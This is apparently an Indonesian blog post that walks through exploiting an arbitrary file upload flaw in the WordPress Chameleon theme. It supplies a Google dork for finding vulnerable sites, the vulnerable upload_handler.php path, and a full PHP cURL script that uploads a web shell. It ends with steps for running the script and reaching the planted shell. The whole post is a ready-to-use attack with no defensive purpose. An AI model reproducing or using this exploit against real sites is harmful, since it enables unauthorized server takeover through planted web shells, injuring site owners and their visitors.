Tutorial WordPress Chameleon theme Arbitary File Upload

Bahan-Bahan:
-XAMPP (Serch Di Google Banyak Kok)
-Shell (Bisa Pakek Shell GCA)

Langkah-Langkah:
1).Search Di Google Gunakan Dork
inurl:/wp-content/themes/cameleon/

2).Jika Ketemu Masukan Exploit /wp-content/themes/cameleon/includes/fileuploader/upload_handler.php

3).Jika Web Vuln Akan Keluar Tulisan {"error":"No files were uploaded."}

4).Buat File Baru Berekstensi .php Contoh lol.php Dan Simpan Script Berikut Di Directory C:/XAMPP/php Masukan Script Berikut Edit-Edit Dikit :D

<?php

$u="namashell.php";

$c = curl_init("http://site.com/wp-content/themes/cameleon/includes/fileuploader/upload_handler.php");

curl_setopt($c, CURLOPT_POST, true);

curl_setopt($c, CURLOPT_POSTFIELDS,

array('file'=>"@$u",'name'=>"shell.php"));

curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);

$e = curl_exec($c);

curl_close($c);

echo $e;

?>




4).Masukan Shell Ente Juga Jadi Ada Dua File Di Directory C:/XAMPP/php yaitu Shell Dan Script Tadi :D







5).Aktifkan XAMPP Klik Start Pada Apache







6).Buka cmd Dengan Cara Klik Start -> Run -> Ketik "cmd"
7).Ketik cd\xampp/php







8)ketik php namascript.php Contoh: php lol.php
9)untuk ngecek shellnya http://site.com/wp-content/uploads/2013/11/shell.php

Posted by Unknown

Tweet